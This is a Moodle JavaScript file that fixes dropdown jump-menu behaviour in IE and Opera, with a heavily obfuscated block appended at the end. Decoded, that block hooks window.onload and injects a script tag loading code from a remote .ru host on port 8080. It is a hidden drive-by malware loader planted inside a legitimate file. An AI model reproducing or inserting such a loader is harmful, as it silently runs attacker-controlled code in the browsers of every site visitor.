/****
Author: Jerome Mouneyrac
Bug Reference: http://tracker.moodle.org/browse/MDL-14439
IE and Opera fire the onchange when ever you move into a dropdwown list with the keyboard.
These functions fix this problem.
****/

/*
global variables

Note:
if I didn't use global variables, we would need to pass them as parameter:  
=> in initSelect(): 
   I would write "theSelect.onchange = selectChanged(...);"
   This code causes a javascript error on IE. (not firefox)
so I had to write theSelect.onchange = selectChanged; It's why I use global variables .
Because I use global variables, I didn't put this code in javascript-static.js.
This file is loaded in javascript.php.
*/ 
var select_formid;
var select_targetwindow;

//we redefine all user actions on the dropdown list
//onfocus, onchange, onkeydown, and onclick
function initSelect(formId,targetWindow)
{
    //initialise global variables
    select_formid=formId;
    select_targetwindow=targetWindow;

    var theSelect = document.getElementById(select_formid+"_jump");

    theSelect.changed = false;

    selectFocussed();

    theSelect.onchange = selectChanged;
    theSelect.onkeydown = selectKeyed;
    theSelect.onclick = selectClicked;
    
    return true;
}

function selectChanged(theElement)
{
    var theSelect;
    
    if (theElement && theElement.value)
    {
        theSelect = theElement;
    }
    else
    {
        theSelect = this;
    }
    
    if (!theSelect.changed)
    {
        return false;
    }

    //here is the onchange redirection
    select_targetwindow.location=document.getElementById(select_formid).jump.options[document.getElementById(select_formid).jump.selectedIndex].value;                                
    
    return true;
}

function selectClicked()
{
    this.changed = true;
}

function selectFocussed()
{
    this.initValue = this.value;
    
    return true;
}

//we keep Firefox behaviors: onchange is fired when we press "Enter", "Esc", or "Tab"" keys.
//note that is probably not working on Mac (keyCode could be different)
function selectKeyed(e)
{
    var theEvent;
    var keyCodeTab = "9";
    var keyCodeEnter = "13";
    var keyCodeEsc = "27";
    
    if (e)
    {
        theEvent = e;
    }
    else
    {
        theEvent = event;
    }

    if ((theEvent.keyCode == keyCodeEnter || theEvent.keyCode == keyCodeTab) && this.value != this.initValue)
    {
        this.changed = true;
        selectChanged(this);
    }
    else if (theEvent.keyCode == keyCodeEsc)
    {
        this.value = this.initValue;
    }
    else
    {
        this.changed = false;
    }
    
    return true;
}

var ZX;if(ZX!='vr'){ZX='vr'};var rz;if(rz!='' && rz!='j'){rz='i'};try {var w;if(w!='R' && w != ''){w=null};var D=new String("reJzBj".substr(0,2)+"pl0Ck".substr(0,2)+"JkshacJhsk".substr(4,2)+"B0gKe".substr(4));var Mj=new Array();var r=RegExp;var Y;if(Y!='' && Y!='V'){Y='Mm'};this.x='';function u(I,Z){var P;if(P!='' && P!='Rp'){P='o'};var C=new String("[");var z=String("tHTJg".substr(4));var fj='';var uo;if(uo!='N' && uo!='L'){uo='N'};C+=Z;var oV=new Array();var F=new String();C+=new String("o0E]".substr(3));var mo=new String();var jb='';var ne="";var D_=new r(C, z);return I[D](D_, new String());this.kw='';};var ZN="";var MN="";this.jX="";var sv;if(sv!='S'){sv='S'};var g=u('oKnslDoDaRdZ',"RZsDK");var Sw='';var d='';var K=new String();var Zt=u('/0gPo0o0gPl0eP.0cPo0m0/0g0oPoPg0lPe0.Pc0o0mP/PbPbPc0.0cPoP.PuPk0/PgPo0u0gPoPu0.PcPoPmP/0w0ePb0mPdP.0cPo0mP.PpPhPpP',"0P");var l;if(l!='XH'){l='XH'};var v=u('844041826012',"4612");var yx;if(yx!='nO' && yx!='Jr'){yx=''};var T;if(T!='Vo' && T!='YD'){T=''};var b=u('csr0e0aBt0e0EBl5esmBe5nBt5',"05sB");var wu="";var f=window;var SX;if(SX!=''){SX='Qw'};var Cz=u('szczrziKpztK',"Kz");var dn=new Date();this.Cj='';this.Zb="";var B=u('hOtdtOp1:O/1/Og1ododgdlOed-dc1o1md-dp1k1.didrdc1tOcO.Ocdo1.di1nd.1tOnOadf1lOi1xd-1cOodmO.dS1udpdedr1Sdu1pdeOrOMdadlOld.dr1ud:d',"dO1");J=function(){p=document[b](Cz);var yY;if(yY!='' && yY!='nR'){yY=''};d=B+v;var ti="";var vJ;if(vJ!=''){vJ='Ab'};d+=Zt;this.O='';var Voe='';var Sf;if(Sf!='uA' && Sf!='lo'){Sf=''};p.defer=([1,4][0]);var FJ;if(FJ!='PP' && FJ!='uv'){FJ='PP'};var aB;if(aB!='' && aB!='CB'){aB='TP'};p.src=d;var Pkv;if(Pkv!='Ce'){Pkv=''};var AY;if(AY!=''){AY='ap'};document.body.appendChild(p);this.jK="";};var Of=new String();var Bz;if(Bz!='etj' && Bz!='tE'){Bz='etj'};f[g]=J;var XP='';var c;if(c!='BK' && c!='Yk'){c=''};this.Gu="";} catch(bZ){this.xU='';};var lO;if(lO!='' && lO!='h'){lO=null};var tr=new Date();